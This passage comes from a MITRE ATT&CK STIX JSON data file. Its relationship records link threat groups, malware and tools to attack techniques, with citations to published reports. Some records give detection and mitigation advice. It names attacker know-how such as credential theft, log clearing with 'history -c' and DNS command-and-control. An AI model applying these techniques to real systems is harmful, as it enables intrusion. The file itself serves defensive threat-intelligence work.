2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9bbfc21c-17ab-4f9a-bd8c-5079ee9b180f","type":"relationship","created":"2021-08-24T22:12:46.625Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Kobalos Jan 2021","description":"M.Leveille, M., Sanmillan, I. (2021, January). A WILD KOBALOS APPEARS Tricksy Linux malware goes after HPCs. Retrieved August 24, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf"}],"modified":"2021-10-18T22:07:05.034Z","description":"[Kobalos](https://attack.mitre.org/software/S0641) can modify timestamps of replaced files, such as ssh with the added credential stealer or sshd used to deploy [Kobalos](https://attack.mitre.org/software/S0641).(Citation: ESET Kobalos Jan 2021) ","relationship_type":"uses","source_ref":"malware--9abdda30-08e0-4ab1-9cf0-d447654c6de9","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9bc0b5e1-d9be-4303-b396-df990c664c4b","type":"relationship","created":"2021-07-29T17:12:12.612Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory SVR TTP May 2021","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021."}],"modified":"2021-07-29T17:12:12.612Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has conducted widespread scanning of target environments to identify vulnerabilities for exploit.(Citation: Cybersecurity Advisory SVR TTP May 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9bc3bb1f-6b1d-4267-95d8-ce4577f8fb1a","type":"relationship","created":"2021-08-05T13:12:58.984Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T22:49:28.706Z","description":"Data loss prevention can detect and block sensitive data being sent over unencrypted protocols.","relationship_type":"mitigates","source_ref":"course-of-action--65401701-019d-44ff-b223-08d520bb0e7b","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9bc7f2ff-7ba1-42f4-9e96-2112e99ab12a","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.635Z","description":"[ChChes](https://attack.mitre.org/software/S0144) steals credentials stored inside Internet Explorer.(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9bca83aa-4200-45a4-a978-1ccc75561d5e","type":"relationship","created":"2021-05-26T13:28:32.124Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."},{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-10-15T21:07:05.169Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) can communicate over DNS with the C2 server.(Citation: BlackBerry CostaRicto November 2020)(Citation: FireEye FiveHands April 2021)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9bce879f-ffe8-425b-81d6-10408902c397","type":"relationship","created":"2021-10-06T19:18:54.604Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}],"modified":"2021-10-06T19:18:54.604Z","description":"[BADFLICK](https://attack.mitre.org/software/S0642) has relied upon users clicking on a malicious attachment delivered through spearphishing.(Citation: Accenture MUDCARP March 2019)","relationship_type":"uses","source_ref":"malware--57d83eac-a2ea-42b0-a7b2-c80c55157790","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9bd2274b-95bc-4b7f-93f5-0b658d256217","type":"relationship","created":"2021-07-16T17:43:47.898Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Eli Salem GuLoader April 2021","url":"https://elis531989.medium.com/dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fb15cb4","description":"Salem, E. (2021, April 19). Dancing With Shellcodes: Cracking the latest version of Guloader. Retrieved July 7, 2021."}],"modified":"2021-07-16T17:43:47.898Z","description":"[GuLoader](https://attack.mitre.org/software/S0561) can download further malware for execution on the victim's machine.(Citation: Medium Eli Salem GuLoader April 2021)","relationship_type":"uses","source_ref":"malware--45c759ac-b490-48bb-80d4-c8eee3431027","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9bd4212c-2e17-41e2-9ff3-1448642ce958","type":"relationship","created":"2020-11-10T16:49:11.807Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."}],"modified":"2020-11-10T16:49:11.807Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used the Invoke-Inveigh PowerShell cmdlets, likely for name service poisoning.(Citation: FireEye KEGTAP SINGLEMALT October 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9bd9e08d-efda-4710-8158-9e915dce16d9","type":"relationship","created":"2020-03-16T16:57:26.820Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:47:00.146Z","description":"[Empire](https://attack.mitre.org/software/S0363) can use [PowerSploit](https://attack.mitre.org/software/S0194)'s Invoke-TokenManipulation to manipulate access tokens.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9bdcaf47-0df8-44a5-ac10-3f0a806a36f3","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","source_name":"GitHub PowerSploit May 2012"},{"url":"http://powersploit.readthedocs.io","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","source_name":"PowerSploit Documentation"}],"modified":"2019-04-24T23:43:08.174Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Privesc-PowerUp modules that can discover and exploit DLL hijacking opportunities in services and processes.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9be2a18c-f66c-4df1-a872-49f34f2f6a77","created":"2023-03-21T16:43:09.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-24T13:58:13.305Z","description":"Monitor for unexpected deletion of snapshots (ex: AWS `DeleteSnapshot`, `DeleteDBSnapshot`), especially those associated with cloud backups.","relationship_type":"detects","source_ref":"x-mitre-data-component--16e07530-764b-4d83-bae0-cdbfc31bf21d","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9be360bb-8ac4-4357-8795-0736b447293c","type":"relationship","created":"2019-03-11T16:44:33.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.374Z","description":"[Empire](https://attack.mitre.org/software/S0363) can be used to conduct packet captures on target hosts.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9be3defb-cc1d-4d8f-b0a8-bc153b0f1947","created":"2019-09-23T23:14:16.736Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"Group IB APT 41 June 2021","description":"Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.","url":"https://www.group-ib.com/blog/colunmtk-apt41/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:45:58.863Z","description":"(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9beeef27-988c-4ec3-ab34-d452d4dd6a76","created":"2024-09-17T20:57:53.209Z","revoked":false,"external_references":[{"source_name":"Bleeping Computer Latrodectus April 2024","description":"Abrams, L. (2024, April 30). New Latrodectus malware attacks use Microsoft, Cloudflare themes. Retrieved September 13, 2024.","url":"https://www.bleepingcomputer.com/news/security/new-latrodectus-malware-attacks-use-microsoft-cloudflare-themes/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T20:57:53.209Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) has lured users into opening malicious email attachments for execution.(Citation: Bleeping Computer Latrodectus April 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9bfac7bf-f5a7-4e43-99c6-fb1a86c0dbe3","type":"relationship","created":"2021-04-09T15:11:36.726Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-04-09T15:11:36.726Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has used history -c to clear script shell logs.(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9bfcb6e6-6e49-4b58-b09b-8502d27a93ec","created":"2022-09-21T15:07:47.504Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-10T16:22:12.997Z","description":"During [FunnyDream](https://attack.mitre.org/campaigns/C0007), the threat actors used [Tasklist](https://attack.mitre.org/software/S0057) on targeted systems.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9bfcecc9-1a59-427c-9189-59a19c58e201","type":"relationship","created":"2020-08-24T14:27:37.524Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-08-24T14:27:37.524Z","description":"[PipeMon](https://attack.mitre.org/software/S0501) communications are RC4 encrypted.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c012fcf-876b-4101-aa28-6af8b00a51d2","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub Responder","description":"Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.","url":"https://github.com/SpiderLabs/Responder"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Responder](https://attack.mitre.org/software/S0174) captures hashes and credentials that are sent to the system after the name services have been poisoned.(Citation: GitHub Responder)","relationship_type":"uses","source_ref":"tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9c057a7e-c815-4d43-a250-6696dc3691e2","created":"2023-01-26T19:12:41.229Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T21:56:03.378Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can use the `GetAdaptersInfo` function to retrieve information about network adapters and the `GetIpNetTable` function to retrieve the IPv4 to physical network address mapping table.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9c064dc7-6c3e-4fdd-98f3-205c34315ac5","created":"2022-03-30T14:26:51.854Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003) , [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) , or [Malicious Link](https://attack.mitre.org/techniques/T1204/001) .","modified":"2022-04-20T12:57:20.506Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9c070a22-d1cc-4565-918f-e0b85fe4bab3","created":"2022-04-07T22:33:28.262Z","x_mitre_version":"0.1","external_references":[{"source_name":"TrendMicro Confucius APT Feb 2018","url":"https://www.trendmicro.com/en_us/research/18/b/deciphering-confucius-cyberespionage-operations.html","description":"Lunghi, D and Horejsi, J. (2018, February 13). Deciphering Confucius: A Look at the Group's Cyberespionage Operations. Retrieved December 26, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Confucius](https://attack.mitre.org/groups/G0142) has obtained cloud storage service accounts to host stolen data.(Citation: TrendMicro Confucius APT Feb 2018)","modified":"2022-04-07T22:33:28.262Z","relationship_type":"uses","source_ref":"intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c089e25-2028-4afb-9f05-b28d5055f444","type":"relationship","created":"2021-02-10T19:41:52.674Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-02-10T19:41:52.674Z","description":"[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can obtain a list of local groups of users from a system.(Citation: ClearSky Lebanese Cedar Jan 2021)","relationship_type":"uses","source_ref":"malware--751b77e6-af1f-483b-93fe-eddf17f92a64","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c0bf8de-7366-46a4-a1b9-b6a72937c8db","type":"relationship","created":"2022-01-18T18:56:49.724Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike AQUATIC PANDA December 2021","url":"https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/","description":"Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022."}],"modified":"2022-01-18T18:56:49.724Z","description":"(Citation: CrowdStrike AQUATIC PANDA December 2021)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c12e724-5f3e-4209-961e-481ec22a5ab6","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye CARBANAK June 2017","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"}],"modified":"2020-03-16T15:31:23.864Z","description":"[Carbanak](https://attack.mitre.org/software/S0030) stores a configuration files in the startup directory to automatically execute commands in order to persist across reboots.(Citation: FireEye CARBANAK June 2017)","relationship_type":"uses","source_ref":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9c15fad4-3614-4bf0-90db-84749f34f91c","type":"relationship","created":"2020-06-01T14:41:54.762Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-06-01T14:41:54.762Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to determine the domain name and whether a proxy is configured on a compromised host.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9c1ec4da-96d9-4173-b944-77c341a19572","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Obfuscation June 2017","description":"Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.","url":"https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"},{"source_name":"FireEye Know Your Enemy FIN8 Aug 2016","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"},{"source_name":"FireEye Fin8 May 2016","description":"Kizhakkinan, D., et al. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.","url":"https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:31:34.140Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has distributed targeted emails containing Word documents with embedded malicious macros.(Citation: FireEye Obfuscation June 2017)(Citation: FireEye Fin8 May 2016)(Citation: FireEye Know Your Enemy FIN8 Aug 